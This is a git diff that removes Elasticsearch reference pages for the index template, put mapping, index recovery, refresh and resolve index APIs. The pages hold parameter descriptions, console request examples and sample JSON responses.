-[[put-index-template-api-request]]
-==== {api-request-title}
-
-`PUT /_index_template/<index-template>`
-
-
-[[put-index-template-api-desc]]
-==== {api-description-title}
-
-{es} applies templates to new indices based on an
-wildcard pattern that matches the index name.
-
-Index templates are applied during data stream or index creation. 
-For data streams, these settings and mappings are applied when the stream's backing indices are created.
-
-Settings and mappings specified in a <<indices-create-index, create index>>
-request override any settings or mappings specified in an index template.
-
-Changes to index templates do not affect
-existing indices, including the existing backing indices of a data stream.
-
-===== Comments in index templates
-You can use C-style /* */ block comments in index templates. You can include comments anywhere in
-the request body, except before the opening curly bracket.
-
-[[put-index-template-api-path-params]]
-==== {api-path-parms-title}
-
-`<index-template>`::
-(Required, string)
-Name of the index template to create.
-
-
-[[put-index-template-api-query-params]]
-==== {api-query-parms-title}
-
-`create`::
-(Optional, Boolean)
-If `true`, this request cannot replace or update existing index templates. Defaults to `false`.
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[role="child_attributes"]
-[[put-index-template-api-request-body]]
-==== {api-request-body-title}
-
-`index_patterns`::
-(Required, array of strings)
-Array of wildcard (`*`) expressions
-used to match the names of data streams and indices during creation.
-+
-[IMPORTANT]
-====
-{es} has built-in index templates for the `metrics-*-*`, `logs-*-*`, and `synthetics-*-*` index
-patterns, each with a priority of `100`.
-{ingest-guide}/fleet-overview.html[{agent}] uses these templates to
-create data streams. If you use {agent}, assign your index templates a priority
-lower than `100` to avoid an overriding the built-in templates.
-
-Otherwise, to avoid accidentally applying the built-in templates, use a
-non-overlapping index pattern or assign templates with an overlapping pattern a
-`priority` higher than `100`.
-
-For example, if you don't use {agent} and want to create a template for the
-`logs-*` index pattern, assign your template a priority of `200`. This ensures
-your template is applied instead of the built-in template for `logs-*-*`.
-====
-
-[xpack]#`data_stream`#::
-(Optional, object)
-Indicates whether the template is used to create data streams and their backing
-indices. If so, use an empty object as the argument: +
-`data_stream: { }`.
-+
-Data streams require a matching index template with a `data_stream` object.
-See <<create-a-data-stream-template>>.
-
-`template`::
-(Optional, object)
-Template to be applied. It may optionally include an `aliases`, `mappings`, or
-`settings` configuration.
-+
-.Properties of `template`
-[%collapsible%open]
-====
-include::{docdir}/rest-api/common-parms.asciidoc[tag=aliases]
-+
-NOTE: You cannot add data streams to an index alias.
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=settings]
-====
-
-`composed_of`::
-(Optional, array of strings)
-An ordered list of component template names. Component templates are merged in the order
-specified, meaning that the last component template specified has the highest precedence. See
-<<multiple-component-templates,Composing multiple component templates>> for an example.
-
-`priority`::
-(Optional, integer)
-Priority to determine index template precedence when a new data stream or index is created. The index template with
-the highest priority is chosen. If no priority is specified the template is treated as though it is
-of priority 0 (lowest priority).
-This number is not automatically generated by {es}.
-
-`version`::
-(Optional, integer)
-Version number used to manage index templates externally.
-This number is not automatically generated by {es}.
-
-`_meta`::
-(Optional, object)
-Optional user metadata about the index template. May have any contents.
-This map is not automatically generated by {es}.
-
-[[put-index-template-api-example]]
-==== {api-examples-title}
-
-===== Index template with index aliases
-
-You can include <<indices-aliases,index aliases>> in an index template.
-
-[source,console]
---------------------------------------------------
-PUT _index_template/template_1
-{
-  "index_patterns" : ["te*"],
-  "template": {
-    "settings" : {
-        "number_of_shards" : 1
-    },
-    "aliases" : {
-        "alias1" : {},
-        "alias2" : {
-            "filter" : {
-                "term" : {"user.id" : "kimchy" }
-            },
-            "routing" : "shard-1"
-        },
-        "{index}-alias" : {} <1>
-    }
-  }
-}
---------------------------------------------------
-<1> the `{index}` placeholder in the alias name will be replaced with the
-actual index name that the template gets applied to, during index creation.
-
-
-[[multiple-templates]]
-===== Multiple matching templates
-
-If multiple index templates match the name of a new index or data stream,  
-the template with the highest priority is used. For example:
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns" : ["t*"],
-  "priority" : 0,
-  "template": {
-    "settings" : {
-      "number_of_shards" : 1,
-      "number_of_replicas": 0
-    },
-    "mappings" : {
-      "_source" : { "enabled" : false }
-    }
-  }
-}
-
-PUT /_index_template/template_2
-{
-  "index_patterns" : ["te*"],
-  "priority" : 1,
-  "template": {
-    "settings" : {
-      "number_of_shards" : 2
-    },
-    "mappings" : {
-      "_source" : { "enabled" : true }
-    }
-  }
-}
---------------------------------------------------
-
-For indices that start with `te*`, `_source` will enabled, and the index will have two primary
-shards and one replica, because only `template_2` will be applied.
-
-NOTE: Multiple templates with overlapping index patterns at the same priority are not allowed, and
-an error will be thrown when attempting to create a template matching an existing index template at
-identical priorities.
-
-
-[[versioning-templates]]
-===== Template versioning
-
-You can use the `version` parameter to add a version number to an index template. 
-External systems can use these version numbers to simplify template management.
-
-The `version` parameter is optional and not automatically generated or used by {es}.
-
-To unset a `version`, replace the template without specifying one.
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns" : ["foo", "bar"],
-  "priority" : 0,
-  "template": {
-    "settings" : {
-        "number_of_shards" : 1
-    }
-  },
-  "version": 123
-}
---------------------------------------------------
-
-To check the `version`, you can use the <<indices-get-template, get index template>> API.
-
-[[template-metadata]]
-===== Template metadata
-
-You can use the `_meta` parameter to add arbitrary metadata to an index template. 
-This user-defined object is stored in the cluster state,
-so keeping it short is preferrable.
-
-The `_meta` parameter is optional and not automatically generated or used by {es}.
-
-To unset `_meta`, replace the template without specifying one.
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns": ["foo", "bar"],
-  "template": {
-    "settings" : {
-        "number_of_shards" : 3
-    }
-  },
-  "_meta": {
-    "description": "set number of shards to three",
-    "serialization": {
-      "class": "MyIndexTemplate",
-      "id": 17
-    }
-  }
-}
---------------------------------------------------
-
-To check the `_meta`, you can use the <<indices-get-template, get index template>> API.
-
-[[data-stream-definition]]
-===== Data stream definition
-
-To use an index template for a data stream, the template must include an empty `data_stream` object. 
-Data stream templates are only used for a stream's backing indices, 
-they are not applied to regular indices.
-See <<create-a-data-stream-template>>.
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns": ["logs-*"],
-  "data_stream": { }
-}
---------------------------------------------------
-
-[[multiple-component-templates]]
-===== Composing aliases, mappings, and settings
-
-When multiple component templates are specified in the `composed_of` field for an index template,
-they are merged in the order specified, meaning that later component templates override earlier
-component templates. Any mappings, settings, or aliases from the parent index template are merged
-in next. Finally, any configuration on the index request itself is merged.
-
-In this example, the order of the two component templates changes the number of shards for an
-index:
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/template_with_2_shards
-{
-  "template": {
-    "settings": {
-      "index.number_of_shards": 2
-    }
-  }
-}
-
-PUT /_component_template/template_with_3_shards
-{
-  "template": {
-    "settings": {
-      "index.number_of_shards": 3
-    }
-  }
-}
-
-PUT /_index_template/template_1
-{
-  "index_patterns": ["t*"],
-  "composed_of": ["template_with_2_shards", "template_with_3_shards"]
-}
---------------------------------------------------
-
-In this case, an index matching `t*` will have three primary shards. If the order of composed
-templates were reversed, the index would have two primary shards.
-
-Mapping definitions are merged recursively, which means that later mapping components can
-introduce new field mappings and update the mapping configuration. If a field mapping is
-already contained in an earlier component, its definition will be completely overwritten
-by the later one.
-
-This recursive merging strategy applies not only to field mappings, but also root options like
-`dynamic_templates` and `meta`. If an earlier component contains a `dynamic_templates` block,
-then by default new `dynamic_templates` entries are appended onto the end. If an entry already
-exists with the same key, then it is overwritten by the new definition.
diff --git a/docs/reference/indices/put-mapping.asciidoc b/docs/reference/indices/put-mapping.asciidoc
deleted file mode 100644
index 002183ad7bd..00000000000
--- a/docs/reference/indices/put-mapping.asciidoc
+++ /dev/null
@@ -1,431 +0,0 @@
-[[indices-put-mapping]]
-=== Put mapping API
-++++
-<titleabbrev>Put mapping</titleabbrev>
-++++
-
-Adds new fields to an existing data stream or index. You can also use the
-put mapping API to change the search settings of existing fields.
-
-For data streams, these changes are applied to all backing indices by default.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "email": {
-      "type": "keyword"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-NOTE: Before 7.0.0, the 'mappings' definition used to include a type name.
-Although specifying types in requests is now deprecated, a type can still be
-provided if the request parameter `include_type_name` is set. For more details,
-please see <<removal-of-types>>.
-
-
-[[put-mapping-api-request]]
-==== {api-request-title}
-
-`PUT /<target>/_mapping`
-
-`PUT /_mapping`
-
-
-[[put-mapping-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[put-mapping-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-`write_index_only`::
-(Optional, Boolean)
-If `true`,
-the mappings are applied only to the current write index for the target.
-Defaults to `false`.
-
-
-[[put-mapping-api-request-body]]
-==== {api-request-body-title}
-
-`properties`::
-+
---
-(Required, <<mapping,mapping object>>) Mapping for a field. For new
-fields, this mapping can include:
-
-* Field name
-* <<mapping-types,Field data type>>
-* <<mapping-params,Mapping parameters>>
-
-For existing fields, see <<updating-field-mappings>>.
---
-
-
-[[put-mapping-api-example]]
-==== {api-examples-title}
-
-[[put-field-mapping-api-basic-ex]]
-===== Example with single target
-
-The put mapping API requires an existing data stream or index. The following
-<<indices-create-index, create index>> API request creates the `publications`
-index with no mapping.
-
-[source,console]
-----
-PUT /publications
-----
-
-The following put mapping API request adds `title`, a new <<text,`text`>> field,
-to the `publications` index.
-
-[source,console]
-----
-PUT /publications/_mapping
-{
-  "properties": {
-    "title":  { "type": "text"}
-  }
-}
-----
-// TEST[continued]
-
-[[put-mapping-api-multi-ex]]
-===== Multiple targets
-
-The PUT mapping API can be applied to multiple data streams or indices with a single request.
-For example, you can update mappings for the `my-index-000001` and `my-index-000002` indices at the same time:
-
-[source,console]
---------------------------------------------------
-# Create the two indices
-PUT /my-index-000001
-PUT /my-index-000002
-
-# Update both mappings
-PUT /my-index-000001,my-index-000002/_mapping
-{
-  "properties": {
-    "user": {
-      "properties": {
-        "name": {
-          "type": "keyword"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[add-new-field-to-object]]
-===== Add new properties to an existing object field
-
-You can use the put mapping API to add new properties to an existing
-<<object,`object`>> field. To see how this works, try the following example.
-
-Use the <<indices-create-index,create index>> API to create an index with the
-`name` object field and an inner `first` text field.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "name": {
-        "properties": {
-          "first": {
-            "type": "text"
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-Use the put mapping API to add a new inner `last` text field to the `name`
-field.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "name": {
-      "properties": {
-        "last": {
-          "type": "text"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-
-[[add-multi-fields-existing-field-ex]]
-===== Add multi-fields to an existing field
-
-<<multi-fields,Multi-fields>> let you index the same field in different ways.
-You can use the put mapping API to update the `fields` mapping parameter and
-enable multi-fields for an existing field.
-
-To see how this works, try the following example.
-
-Use the <<indices-create-index,create index>> API to create an index with the
-`city` <<text,text>> field.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "city": {
-        "type": "text"
-      }
-    }
-  }
-}
-----
-
-While text fields work well for full-text search, <<keyword,keyword>> fields are
-not analyzed and may work better for sorting or aggregations.
-
-Use the put mapping API to enable a multi-field for the `city` field. This
-request adds the `city.raw` keyword multi-field, which can be used for sorting.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "city": {
-      "type": "text",
-      "fields": {
-        "raw": {
-          "type": "keyword"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-
-[[change-existing-mapping-parms]]
-===== Change supported mapping parameters for an existing field
-
-The documentation for each <<mapping-params,mapping parameter>> indicates
-whether you can update it for an existing field using the put mapping API. For
-example, you can use the put mapping API to update the
-<<ignore-above,`ignore_above`>> parameter.
-
-To see how this works, try the following example.
-
-Use the <<indices-create-index,create index>> API to create an index containing
-a `user_id` keyword field. The `user_id` field has an `ignore_above` parameter
-value of `20`.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "user_id": {
-        "type": "keyword",
-        "ignore_above": 20
-      }
-    }
-  }
-}
-----
-
-Use the put mapping API to change the `ignore_above` parameter value to `100`.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "user_id": {
-      "type": "keyword",
-      "ignore_above": 100
-    }
-  }
-}
-----
-// TEST[continued]
-
-
-[[updating-field-mappings]]
-===== Change the mapping of an existing field
-
-// tag::change-field-mapping[]
-Except for supported <<mapping-params,mapping parameters>>,
-you can't change the mapping or field type of an existing field.
-Changing an existing field could invalidate data that's already indexed.
-
-If you need to change the mapping of a field in a data stream's backing indices,
-see <<data-streams-change-mappings-and-settings>>.
-
-If you need to change the mapping of a field in other indices,
-create a new index with the correct mapping
-and <<docs-reindex,reindex>> your data into that index.
-// end::change-field-mapping[]
-
-To see how you can change the mapping of an existing field in an index,
-try the following example.
-
-Use the <<indices-create-index,create index>> API
-to create an index
-with the `user_id` field
-with the <<number,`long`>> field type.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings" : {
-    "properties": {
-      "user_id": {
-        "type": "long"
-      }
-    }
-  }
-}
-----
-
-Use the <<docs-index_,index>> API
-to index several documents
-with `user_id` field values.
-
-[source,console]
-----
-POST /my-index-000001/_doc?refresh=wait_for
-{
-  "user_id" : 12345
-}
-
-POST /my-index-000001/_doc?refresh=wait_for
-{
-  "user_id" : 12346
-}
-----
-// TEST[continued]
-
-To change the `user_id` field
-to the <<keyword,`keyword`>> field type,
-use the create index API
-to create a new index with the correct mapping.
-
-[source,console]
-----
-PUT /my-new-index-000001
-{
-  "mappings" : {
-    "properties": {
-      "user_id": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-Use the <<docs-reindex,reindex>> API
-to copy documents from the old index
-to the new one.
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
-----
-// TEST[continued]
-
-
-[[rename-existing-field]]
-===== Rename a field
-
-// tag::rename-field[]
-Renaming a field would invalidate data already indexed under the old field name.
-Instead, add an <<alias, `alias`>> field to create an alternate field name.
-// end::rename-field[]
-
-For example,
-use the <<indices-create-index,create index>> API
-to create an index
-with the `user_identifier` field.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "user_identifier": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-----
-
-Use the put mapping API to add the `user_id` field alias
-for the existing `user_identifier` field.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "user_id": {
-      "type": "alias",
-      "path": "user_identifier"
-    }
-  }
-}
-----
-// TEST[continued]
diff --git a/docs/reference/indices/recovery.asciidoc b/docs/reference/indices/recovery.asciidoc
deleted file mode 100644
index d33ff98d640..00000000000
--- a/docs/reference/indices/recovery.asciidoc
+++ /dev/null
@@ -1,451 +0,0 @@
-[[indices-recovery]]
-=== Index recovery API
-++++
-<titleabbrev>Index recovery</titleabbrev>
-++++
-
-
-Returns information about ongoing and completed shard recoveries for one or more
-indices. For data streams, the API returns information for the stream's backing
-indices.
-
-[source,console]
-----
-GET /my-index-000001/_recovery
-----
-// TEST[setup:my_index]
-
-
-[[index-recovery-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_recovery`
-
-`GET /_recovery`
-
-
-[[index-recovery-api-desc]]
-==== {api-description-title}
-
-Use the index recovery API
-to get information about ongoing and completed shard recoveries.
-
-// tag::shard-recovery-desc[]
-Shard recovery is the process
-of syncing a replica shard from a primary shard.
-Upon completion,
-the replica shard is available for search.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=recovery-triggers]
-
-// end::shard-recovery-desc[]
-
-[[index-recovery-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[index-recovery-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=active-only]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=detailed]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-query-parm]
-
-
-[[index-recovery-api-response-body]]
-==== {api-response-body-title}
-
-`id`::
-(Integer)
-ID of the shard.
-
-`type`::
-+
---
-(String)
-Recovery type.
-Returned values include:
-
-`STORE`::
-The recovery is related to
-a node startup or failure.
-This type of recovery is called a local store recovery.
-
-`SNAPSHOT`::
-The recovery is related to
-a <<snapshots-restore-snapshot,snapshot restoration>>.
-
-`REPLICA`::
-The recovery is related to
-a <<glossary-replica-shard,primary shard replication>>.
-
-`RELOCATING`::
-The recovery is related to
-the relocation of a shard
-to a different node in the same cluster.
---
-
-`STAGE`::
-+
---
-(String)
-Recovery stage.
-Returned values include:
-
-`DONE`::
-Complete.
-
-`FINALIZE`::
-Cleanup.
-
-`INDEX`::
-Reading index metadata and copying bytes from source to destination.
-
-`INIT`::
-Recovery has not started.
-
-`START`::
-Starting the recovery process; opening the index for use.
-
-`TRANSLOG`::
-Replaying transaction log .
---
-
-`primary`::
-(Boolean)
-If `true`,
-the shard is a primary shard.
-
-`start_time`::
-(String)
-Timestamp of recovery start.
-
-`stop_time`::
-(String)
-Timestamp of recovery finish.
-
-`total_time_in_millis`::
-(String)
-Total time to recover shard in milliseconds.
-
-`source`::
-+
---
-(Object)
-Recovery source.
-This can include:
-
-  * A repository description if recovery is from a snapshot
-  * A description of source node
---
-
-`target`::
-(Object)
-Destination node.
-
-`index`::
-(Object)
-Statistics about physical index recovery.
-
-`translog`::
-(Object)
-Statistics about translog recovery.
-
-`start`::
-(Object)
-Statistics about time to open and start the index.
-
-
-[[index-recovery-api-example]]
-==== {api-examples-title}
-
-
-[[index-recovery-api-multi-ex]]
-===== Get recovery information for several data streams and indices
-
-[source,console]
---------------------------------------------------
-GET index1,index2/_recovery?human
---------------------------------------------------
-// TEST[s/^/PUT index1\nPUT index2\n/]
-
-
-[[index-recovery-api-all-ex]]
-===== Get segment information for all data streams and indices in a cluster
-
-//////////////////////////
-Here we create a repository and snapshot index1 in
-order to restore it right after and prints out the
-index recovery result.
-
-[source,console]
---------------------------------------------------
-# create the index
-PUT index1
-{"settings": {"index.number_of_shards": 1}}
-
-# create the repository
-PUT /_snapshot/my_repository
-{"type": "fs","settings": {"location": "recovery_asciidoc" }}
-
-# snapshot the index
-PUT /_snapshot/my_repository/snap_1?wait_for_completion=true
-{"indices": "index1"}
-
-# delete the index
-DELETE index1
-
-# and restore the snapshot
-POST /_snapshot/my_repository/snap_1/_restore?wait_for_completion=true
-
---------------------------------------------------
-
-[source,console-result]
---------------------------------------------------
-{
-  "snapshot": {
-    "snapshot": "snap_1",
-    "indices": [
-      "index1"
-    ],
-    "shards": {
-      "total": 1,
-      "failed": 0,
-      "successful": 1
-    }
-  }
-}
---------------------------------------------------
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_recovery?human
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "index1" : {
-    "shards" : [ {
-      "id" : 0,
-      "type" : "SNAPSHOT",
-      "stage" : "INDEX",
-      "primary" : true,
-      "start_time" : "2014-02-24T12:15:59.716",
-      "start_time_in_millis": 1393244159716,
-      "stop_time" : "0s",
-      "stop_time_in_millis" : 0,
-      "total_time" : "2.9m",
-      "total_time_in_millis" : 175576,
-      "source" : {
-        "repository" : "my_repository",
-        "snapshot" : "my_snapshot",
-        "index" : "index1",
-        "version" : "{version}",
-        "restoreUUID": "PDh1ZAOaRbiGIVtCvZOMww"
-      },
-      "target" : {
-        "id" : "ryqJ5lO5S4-lSFbGntkEkg",
-        "host" : "my.fqdn",
-        "transport_address" : "my.fqdn",
-        "ip" : "10.0.1.7",
-        "name" : "my_es_node"
-      },
-      "index" : {
-        "size" : {
-          "total" : "75.4mb",
-          "total_in_bytes" : 79063092,
-          "reused" : "0b",
-          "reused_in_bytes" : 0,
-          "recovered" : "65.7mb",
-          "recovered_in_bytes" : 68891939,
-          "percent" : "87.1%"
-        },
-        "files" : {
-          "total" : 73,
-          "reused" : 0,
-          "recovered" : 69,
-          "percent" : "94.5%"
-        },
-        "total_time" : "0s",
-        "total_time_in_millis" : 0,
-        "source_throttle_time" : "0s",
-        "source_throttle_time_in_millis" : 0,
-        "target_throttle_time" : "0s",
-        "target_throttle_time_in_millis" : 0
-      },
-      "translog" : {
-        "recovered" : 0,
-        "total" : 0,
-        "percent" : "100.0%",
-        "total_on_start" : 0,
-        "total_time" : "0s",
-        "total_time_in_millis" : 0,
-      },
-      "verify_index" : {
-        "check_index_time" : "0s",
-        "check_index_time_in_millis" : 0,
-        "total_time" : "0s",
-        "total_time_in_millis" : 0
-      }
-    } ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/: (\-)?[0-9]+/: $body.$_path/]
-// TESTRESPONSE[s/: "[^"]*"/: $body.$_path/]
-////
-The TESTRESPONSE above replace all the fields values by the expected ones in the test,
-because we don't really care about the field values but we want to check the fields names.
-////
-
-This response includes information
-about a single index recovering a single shard.
-The source of the recovery is a snapshot repository
-and the target of the recovery is the `my_es_node` node.
-
-The response also includes the number
-and percentage of files and bytes recovered.
-
-
-[[index-recovery-api-detailed-ex]]
-===== Get detailed recovery information
-
-To get a list of physical files in recovery,
-set the `detailed` query parameter to `true`.
-
-[source,console]
---------------------------------------------------
-GET _recovery?human&detailed=true
---------------------------------------------------
-// TEST[s/^/PUT index1\n{"settings": {"index.number_of_shards": 1}}\n/]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "index1" : {
-    "shards" : [ {
-      "id" : 0,
-      "type" : "STORE",
-      "stage" : "DONE",
-      "primary" : true,
-      "start_time" : "2014-02-24T12:38:06.349",
-      "start_time_in_millis" : "1393245486349",
-      "stop_time" : "2014-02-24T12:38:08.464",
-      "stop_time_in_millis" : "1393245488464",
-      "total_time" : "2.1s",
-      "total_time_in_millis" : 2115,
-      "source" : {
-        "id" : "RGMdRc-yQWWKIBM4DGvwqQ",
-        "host" : "my.fqdn",
-        "transport_address" : "my.fqdn",
-        "ip" : "10.0.1.7",
-        "name" : "my_es_node"
-      },
-      "target" : {
-        "id" : "RGMdRc-yQWWKIBM4DGvwqQ",
-        "host" : "my.fqdn",
-        "transport_address" : "my.fqdn",
-        "ip" : "10.0.1.7",
-        "name" : "my_es_node"
-      },
-      "index" : {
-        "size" : {
-          "total" : "24.7mb",
-          "total_in_bytes" : 26001617,
-          "reused" : "24.7mb",
-          "reused_in_bytes" : 26001617,
-          "recovered" : "0b",
-          "recovered_in_bytes" : 0,
-          "percent" : "100.0%"
-        },
-        "files" : {
-          "total" : 26,
-          "reused" : 26,
-          "recovered" : 0,
-          "percent" : "100.0%",
-          "details" : [ {
-            "name" : "segments.gen",
-            "length" : 20,
-            "recovered" : 20
-          }, {
-            "name" : "_0.cfs",
-            "length" : 135306,
-            "recovered" : 135306
-          }, {
-            "name" : "segments_2",
-            "length" : 251,
-            "recovered" : 251
-          }
-          ]
-        },
-        "total_time" : "2ms",
-        "total_time_in_millis" : 2,
-        "source_throttle_time" : "0s",
-        "source_throttle_time_in_millis" : 0,
-        "target_throttle_time" : "0s",
-        "target_throttle_time_in_millis" : 0
-      },
-      "translog" : {
-        "recovered" : 71,
-        "total" : 0,
-        "percent" : "100.0%",
-        "total_on_start" : 0,
-        "total_time" : "2.0s",
-        "total_time_in_millis" : 2025
-      },
-      "verify_index" : {
-        "check_index_time" : 0,
-        "check_index_time_in_millis" : 0,
-        "total_time" : "88ms",
-        "total_time_in_millis" : 88
-      }
-    } ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"source" : \{[^}]*\}/"source" : $body.$_path/]
-// TESTRESPONSE[s/"details" : \[[^\]]*\]/"details" : $body.$_path/]
-// TESTRESPONSE[s/: (\-)?[0-9]+/: $body.$_path/]
-// TESTRESPONSE[s/: "[^"]*"/: $body.$_path/]
-////
-The TESTRESPONSE above replace all the fields values by the expected ones in the test,
-because we don't really care about the field values but we want to check the fields names.
-It also removes the "details" part which is important in this doc but really hard to test.
-////
-
-The response includes a listing
-of any physical files recovered
-and their sizes.
-
-The response also includes timings in milliseconds
-of the various stages of recovery:
-
-* Index retrieval
-* Translog replay
-* Index start time
-
-This response indicates the recovery is `done`.
-All recoveries,
-whether ongoing or complete,
-are kept in the cluster state
-and may be reported on at any time.
-
-To only return information about ongoing recoveries,
-set the `active_only` query parameter to `true`.
diff --git a/docs/reference/indices/refresh.asciidoc b/docs/reference/indices/refresh.asciidoc
deleted file mode 100644
index 98fbd5268ae..00000000000
--- a/docs/reference/indices/refresh.asciidoc
+++ /dev/null
@@ -1,110 +0,0 @@
-[[indices-refresh]]
-=== Refresh API
-++++
-<titleabbrev>Refresh</titleabbrev>
-++++
-
-Refreshes one or more indices. For data streams, the API refreshes the stream's
-backing indices.
-
-[source,console]
-----
-POST /my-index-000001/_refresh
-----
-// TEST[setup:my_index]
-
-
-[[refresh-api-request]]
-==== {api-request-title}
-
-`POST <target>/_refresh`
-
-`GET <target>/_refresh`
-
-`POST /_refresh`
-
-`GET /_refresh`
-
-
-[[refresh-api-desc]]
-==== {api-description-title}
-
-Use the refresh API to explicitly refresh one or more indices.
-If the request targets a data stream, it refreshes the stream's backing indices.
-A _refresh_ makes all operations performed on an index
-since the last refresh
-available for search.
-
-// tag::refresh-interval-default[]
-By default, Elasticsearch periodically refreshes indices every second, but only on
-indices that have received one search request or more in the last 30 seconds.
-// end::refresh-interval-default[]
-You can change this default interval
-using the <<index-refresh-interval-setting,`index.refresh_interval`>> setting.
-
-Refresh requests are synchronous and do not return a response until the
-refresh operation completes.
-
-[IMPORTANT]
-====
-Refreshes are resource-intensive.
-To ensure good cluster performance,
-we recommend waiting for {es}'s periodic refresh
-rather than performing an explicit refresh
-when possible.
-
-If your application workflow
-indexes documents and then runs a search
-to retrieve the indexed document,
-we recommend using the <<docs-index_,index API>>'s
-`refresh=wait_for` query parameter option.
-This option ensures the indexing operation waits
-for a periodic refresh
-before running the search.
-====
-
-[[refresh-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-+
-To refresh all indices in the cluster,
-omit this parameter
-or use a value of `_all` or `*`.
-
-
-[[refresh-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-
-[[refresh-api-example]]
-==== {api-examples-title}
-
-
-[[refresh-api-multiple-ex]]
-===== Refresh several data streams and indices
-
-[source,console]
-----
-POST /my-index-000001,my-index-000002/_refresh
-----
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-
-[[refresh-api-all-ex]]
-===== Refresh all data streams and indices in a cluster
-
-[source,console]
-----
-POST /_refresh
-----
diff --git a/docs/reference/indices/resolve.asciidoc b/docs/reference/indices/resolve.asciidoc
deleted file mode 100644
index 3f0a5978f11..00000000000
--- a/docs/reference/indices/resolve.asciidoc
+++ /dev/null
@@ -1,141 +0,0 @@
-[[indices-resolve-index-api]]
-=== Resolve index API
-++++
-<titleabbrev>Resolve index</titleabbrev>
-++++
-
-Resolves the specified name(s) and/or index patterns for indices, index
-aliases, and data streams. Multiple patterns and remote clusters are
-supported.
-
-////
-[source,console]
-----
-PUT /foo_closed
-
-POST /foo_closed/_close
-
-PUT /remotecluster-bar-01
-
-PUT /freeze-index
-
-POST /freeze-index/_freeze
-
-PUT /my-index-000001
-
-PUT /freeze-index/_alias/f-alias
-
-PUT /my-index-000001/_alias/f-alias
-
-PUT /_index_template/foo_data_stream
-{
-  "index_patterns": [ "foo" ],
-  "data_stream": { }
-}
-
-PUT /_data_stream/foo
-----
-// TESTSETUP
-
-[source,console]
-----
-DELETE /_data_stream/*
-
-DELETE /_index_template/foo_data_stream
-----
-// TEARDOWN
-////
-
-[source,console]
-----
-GET /_resolve/index/my-index-*
-----
-
-[[resolve-index-api-request]]
-==== {api-request-title}
-
-`GET /_resolve/index/<name>`
-
-
-[[resolve-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<name>`::
-+
---
-(Required, string) Comma-separated name(s) or index pattern(s) of the
-indices, index aliases, and data streams to resolve. Resources on
-<<modules-remote-clusters,remote clusters>> can be specified using the
-`<cluster>:<name>` syntax.
---
-
-[[resolve-index-api-query-params]]
